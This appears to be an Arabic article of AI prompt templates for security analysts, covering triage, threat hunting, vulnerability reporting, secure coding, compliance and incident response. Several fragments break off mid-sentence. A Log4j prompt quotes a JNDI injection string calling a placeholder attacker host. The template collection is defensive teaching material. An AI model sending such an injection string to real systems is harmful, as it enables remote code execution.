25 مطالبات ذكاء اصطناعي يجب على كل محلل أمني حفظها (2026)

[PASTE_SANITIZED_ALERT_DATA]

[PASTE_SANITIZED_FIREWALL_LOGS]

.
1.  بشكل مبسط، ماذا يشير هذا التوقيع للبرمجيات الخبيثة عادةً؟
2.  ما هو السلوك الشائع لهذه العائلة من البرمجيات الخبيثة؟ (مثل: برمجيات الفدية، سارق المعلومات، RAT)
3.  ما هي الخطوات الثلاث إلى الخمس الفورية التالية التي يجب على المحلل المبتدئ اتخاذها للتحقيق في المضيف

-   **الإغراء الرئيسي:** ادعى البريد الإلكتروني أنه "فاتورة عاجلة تتطلب الدفع" وحث المستخدم على النقر على رابط.
-   **عنوان URL:**

، قم بإنشاء ثلاث فرضيات مميزة للبحث عن التهديدات.
لكل فرضية، حدد:
1.  الفرضية نفسها.
2.  مصادر البيانات المطلوبة (مثل سجلات EDR، سجلات DNS، سجلات الوكيل).
3.  استعلامًا نموذجيًا (بلغة استعلام زائفة) لاختبار الفرضية.
مثال على التنسيق:
**الفرضية 1:** يستخدم الفاعل التهديدي المهام المجدولة لتأسيس الثبات.
**مصدر البيانات:** سجلات إنشاء عمليات EDR، سجلات أحداث Windows (المعرف 4698).
**الاستعلام:**

[PASTE_CVE_LIST_AND_CVSS_SCORES]

.
صغ بريدًا إلكترونيًا واضحًا وموجزًا يتضمن:
1.  البدء بذكر الثغرة والنظام المتأثر (

اعمل كمستشار أمني. أحتاج إلى تكوين فحص Tenable Nessus لجزء جديد من شبكتنا يحتوي على `[SERVER_TYPES]` (مثل خوادم الويب، خوادم قواعد البيانات، وحدات التحكم بالمجال).
أوصِ بتكوين سياسة فحص Nessus. يجب أن تغطي توصيتك:
-   **قالب الفحص:** أي قالب Nessus تبدأ به (مثل Basic Network Scan، Credentialed Patch Audit).
-   **بيانات الاعتماد:** لماذا الفحص باستخدام بيانات الاعتماد ضروري.
-   **الإضافات (Plugins):** ما هي عائلات الإضافات الأكثر أهمية لتمكينها لهذه الأنواع من الخوادم.
-   **التكرار:** تكرار الفحص الموصى به (مثل أسبوعيًا، شهريًا).
قدم الناتج كمجموعة من التوصيات الواضحة مع تبريرات موجزة لكل منها.

، لكننا قررنا أنه إيجابي كاذب.
أحتاج إلى كتابة تبرير رسمي لسجلاتنا. صغ فقرة تشرح *لماذا* هذه النتيجة إيجابية كاذبة.
استخدم المعلومات التالية:
-   **النتيجة:** حدد الماسح الضوئي

أنت محلل ثغرات أمنية تقدم تقريرًا إلى رئيس أمن المعلومات (CISO). لدي قائمة بخمس ثغرات أمنية حرجة تم اكتشافها هذا الأسبوع.
أنشئ جدول ملخص عالي المستوى لتقرير الإدارة. يجب أن يحتوي الجدول على الأعمدة التالية:
-   `الثغرة (CVE)`
-   `الأنظمة المتأثرة (العدد)`
-   `الإجراء الموصى به`
-   `الفريق المكلف`
-   `الوقت المقدر للمعالجة (ETA)`
املأ الجدول باستخدام هذه البيانات:
-   **CVE-2026-1001:** يؤثر على 15 خادم ويب. الإجراء: تطبيق ترقيع البائع. الفريق: عمليات الويب. الوقت المقدر للمعالجة: 7 أيام.
-   **CVE-2026-1002:** يؤثر على 50 محطة عمل. الإجراء: نشر برنامج محدث عبر SCCM. الفريق: هندسة سطح المكتب. الوقت المقدر للمعالجة: 14 يومًا.
-   **CVE-2026-1003:** يؤثر على وحدتي تحكم بالمجال. الإجراء: تطبيق تغيير مفتاح التسجيل. الفريق: البنية التحتية. الوقت المقدر للمعالجة: 3 أيام.
-   **CVE-2026-1004:** يؤثر على 10 خوادم Linux. الإجراء: تحديث النواة. الفريق: عمليات Linux. الوقت المقدر للمعالجة: 10 أيام.
-   **CVE-2026-1005:** يؤثر على تطبيق مخصص واحد. الإجراء: إصلاح كود المطور. الفريق: تطوير التطبيقات. الوقت المقدر للمعالجة: 30 يومًا.

التالي بحثًا عن ثغرات OWASP Top 10 المحتملة، مع التركيز بشكل خاص على:
-   عيوب الحقن (SQL، الأوامر)
-   المصادقة المعطلة
-   كشف البيانات الحساسة
-   إلغاء التسلسل غير الآمن
لكل مشكلة تجدها، قدم:
1.  رقم السطر المعرض للخطر.
2.  شرحًا موجزًا للثغرة.
3.  مثالًا على الكود يوضح كيفية إصلاحها.
إذا لم يتم العثور على مشاكل، اذكر ذلك.
مقتطف الكود:

وجد فحص Snyk الخاص بنا ثغرة أمنية حرجة (`[CVE_ID]`) في مكتبة المصدر المفتوح `[LIBRARY_NAME]`، الإصدار `[VERSION_NUMBER]`.
اشرح هذه الثغرة لفريق التطوير. يجب أن يتضمن شرحك:
1.  ماذا تسمح الثغرة للمهاجم بفعله (مثل تنفيذ كود عن بعد، حجب الخدمة).
2.  كيف يتم تفعيل الثغرة.
3.  ما هو الإجراء الموصى به (مثل "الترقية إلى الإصدار X.Y.Z").
اجعل الشرح موجزًا ومركزًا على ما يحتاج المطورون معرفته لإصلاحها.

اعمل كمهندس أمن رئيسي. اكتب إرشادات ترميز آمن لفريق التطوير لدينا حول موضوع "التحقق من المدخلات".
يجب أن تكون الإرشادات وثيقة markdown تتضمن:
-   شرحًا موجزًا وبسيطًا لأهمية التحقق من المدخلات.
-   قسم "افعل" مع 2-3 من أفضل الممارسات (مثل استخدام قوائم السماح، التحقق على جانب الخادم).
-   قسم "لا تفعل" مع 2-3 أخطاء شائعة (مثل الاعتماد فقط على التحقق من جانب العميل، استخدام قوائم الحظر).
-   مثال كود قصير وواضح بلغة `[LANGUAGE]` يوضح تطبيقًا "سيئًا" مقابل تطبيق "جيد".

معرضة لحقن SQL.
أعد هيكلة الكود لاستخدام الاستعلامات المعلمة (العبارات المُعدّة) لمنع هذه الثغرة. اعرض كتل الكود "قبل" و "بعد".
الكود المعرض للخطر:

)
-   رمز الوصول الشخصي لـ GitHub (مثال:

اعمل كمحلل GRC. أحتاج إلى صياغة سياسة أمنية جديدة للشركة بشأن "الاستخدام المقبول لأدوات الذكاء الاصطناعي".
يجب أن تكون السياسة منظمة بالأقسام التالية:
1.  **الغرض:** لماذا توجد هذه السياسة.
2.  **النطاق:** من تنطبق عليه هذه السياسة.
3.  **بيانات السياسة:** قائمة بالقواعد، بما في ذلك:
-   حظر استخدام أدوات الذكاء الاصطناعي العامة مع بيانات الشركة أو العملاء الحساسة.
-   متطلب استخدام منصات الذكاء الاصطناعي المعتمدة من الشركة فقط.
-   إرشادات حول التحقق من دقة المحتوى الذي يولده الذكاء الاصطناعي.
-   بيان حول ملكية البيانات وسريتها.
4.  **التنفيذ:** عواقب انتهاك السياسة.
أنشئ مسودة احترافية لهذه السياسة.

أنا أستعد لتدقيق. أحتاج إلى ربط ضوابط ISO 27001 الحالية لدينا بمعايير خدمات الثقة SOC 2.
بالنسبة لضابط ISO 27001 التالي، حدد معايير SOC 2 المقابلة التي يساعد في تحقيقها.
**ضابط ISO 27001:** `[ISO_CONTROL_DESCRIPTION]` (مثال: "A.9.4.1: تقييد الوصول إلى المعلومات")
قدم معيار SOC 2 TSC المقابل وشرحًا موجزًا من جملة واحدة للربط.
مثال على الناتج:
**معيار SOC 2 TSC:** CC6.1 - أمان الوصول المنطقي
**الشرح:** يدعم هذا الضابط بشكل مباشر متطلب SOC 2 لتقييد الوصول المنطقي إلى المعلومات والأنظمة بناءً على الأدوار والمسؤوليات.

أنت محلل امتثال أمني تكتب سرد أدلة لتدقيق SOC 2. الضابط هو: "تقوم الكيان بإجراء فحوصات للثغرات الأمنية على أساس ربع سنوي."
اكتب سردًا من فقرة واحدة يصف كيف نلبي هذا الضابط. استخدم التفاصيل التالية:
-   **الأداة المستخدمة:** Tenable.io
-   **تكرار الفحص:** فحوصات شهرية موثقة على جميع خوادم الإنتاج.
-   **التقارير:** يتم إنشاء التقارير تلقائيًا ومراجعتها من قبل فريق الأمن.
-   **نظام التذاكر:** يتم إنشاء تذاكر تلقائيًا للثغرات الحرجة والعالية في Jira وتعيينها لمالكي الأنظمة.
-   **الأدلة:** "تم إرفاق تقرير فحص نموذجي من الشهر الماضي (`[REPORT_NAME].pdf`) ولقطة شاشة لجدول الفحص (`[SCHEDULE_SCREENSHOT].png`) كدليل.

أنا أجري تقييمًا للمخاطر على نشرنا الجديد `[CLOUD_SERVICE_NAME]`.
أنشئ سيناريو مخاطر يتعلق بـ "ضوابط الوصول غير الكافية". يجب أن يكون السيناريو منظمًا بالحقول التالية:
-   **سيناريو المخاطر:** وصف موجز من جملة واحدة للحدث.
-   **الجهة الفاعلة للتهديد:** من قد يسبب هذا (مثال: متسلل داخلي خبيث، مهاجم خارجي).
-   **الثغرة:** نقطة الضعف التي تسمح بذلك (مثال: أدوار IAM مفرطة الصلاحيات).
-   **التأثير:** النتيجة التجارية إذا حدث ذلك (مثال: اختراق بيانات، تعطل الخدمة).
-   **الضوابط الحالية:** ما لدينا حاليًا (مثال: المصادقة متعددة العوامل، التسجيل الأساسي).
املأ هذا الهيكل لسيناريو مخاطر "ضوابط الوصول غير الكافية".

أحتاج إلى شرح مخاطر ثغرة Log4j غير المرقّعة (CVE-2021-44228) للجنة مخاطر غير تقنية.
ترجم الوصف التقني التالي إلى بيان مخاطر تجارية بسيط قائم على التشبيه. تجنب المصطلحات المتخصصة مثل RCE، JNDI، و LDAP.
**الوصف التقني:** "تسمح ثغرة Log4j بتنفيذ كود عن بعد غير مصادق عليه (RCE) عن طريق تسجيل سلسلة مصممة خصيصًا. يمكن للمهاجم إرسال سلسلة مثل `${jndi:ldap://attacker.com/a}` مما يتسبب في اتصال الخادم بنظام المهاجم وتنفيذ حمولة خبيثة."
ركز على ما يعنيه ذلك للعمل (مثال: "الأمر أشبه بترك باب خلفي مفتوح...").

[PASTE_SANITIZED_AND_TIMESTAMPED_LOG_ENTRIES]

أنا قائد فريق الاستجابة للحوادث (IR) وأحتاج إلى تصعيد حادث حرج إلى القيادة التنفيذية.
صغ بريدًا إلكترونيًا موجزًا للتصعيد (أقل من 150 كلمة) بالهيكل التالي:
-   **الموضوع:** `عاجل: تصعيد حادث أمني - [INCIDENT_TYPE]`
-   **ماذا حدث:** ملخص من جملة واحدة للحدث (مثال: "لقد اكتشفنا إصابة ببرمجيات الفدية تؤثر على الخوادم في [SERVER_GROUP].").
-   **التأثير على الأعمال:** التأثير الحالي أو المحتمل (مثال: "أنظمة الإنتاج معطلة. قد تكون بيانات العملاء في خطر.").
-   **إجراءاتنا:** ما يفعله فريق الاستجابة للحوادث الآن (مثال: "نحن نعمل على احتواء الانتشار وقد أشركنا شريكنا الخارجي للاستجابة للحوادث.").
-   **التحديث التالي:** متى يمكنهم توقع الاتصال التالي (مثال: "سيكون التحديث التالي خلال ساعة واحدة.").

أنت مدير أول للاستجابة للحوادث. لقد قام فريقنا للتو بحل حادث `[INCIDENT_TYPE]`.
أنشئ مخططًا تفصيليًا لوثيقة مراجعة ما بعد الحادث (PIR). يجب أن يتضمن المخطط جميع الأقسام الرئيسية والنقاط الفرعية للمواضيع الرئيسية التي يجب تغطيتها في كل قسم.
تضمين أقسام لـ:
1.  الملخص التنفيذي
2.  الجدول الزمني للحادث (الأحداث الرئيسية)
3.  تحليل السبب الجذري (ما الذي فشل؟)
4.  تقييم التأثير (تجاري، تقني، مالي)
5.  الدروس المستفادة (ما الذي سار على ما يرام؟ ما الذي سار بشكل سيء؟)
6.  بنود العمل (جدول بأعمدة للإجراء، المالك، وتاريخ الاستحقاق)

نحن نبدأ تحقيقًا جنائيًا رقميًا على مضيف مخترق (`[HOSTNAME]`) يتعلق بحادث تسريب بيانات.
اعمل كمحقق جنائي رئيسي. أنشئ قائمة بأهم 10 أسئلة يحتاج تحقيقنا للإجابة عليها. يجب أن تركز الأسئلة على تحديد النطاق الكامل والجدول الزمني للاختراق.
أمثلة:
-   كيف حصل المهاجم على الوصول الأولي إلى المضيف؟
-   ما هي الأدوات التي استخدمها المهاجم على المضيف؟
-   ما هي البيانات التي تم الوصول إليها أو تسريبها من المضيف؟

أنت رئيس قسم الاتصالات المؤسسية، وتعمل مع فريق الأمن. نحتاج إلى إرسال تحديث داخلي موجز لجميع الموظفين حول حادث أمني حديث تم حله.
كان الحادث من نوع `[INCIDENT_TYPE]` وتسبب في `[IMPACT]`.
صغ رسالة قصيرة، مطمئنة، وغير تقنية لجميع الموظفين. يجب أن تتضمن الرسالة:
-   الإقرار بحدوث اضطراب.
-   تأكيد حل المشكلة الآن.
-   شكر فريق الأمن.
-   تذكير الموظفين بالبقاء يقظين والإبلاغ عن أي نشاط مشبوه.
لا تضمن تفاصيل تقنية حول الحادث.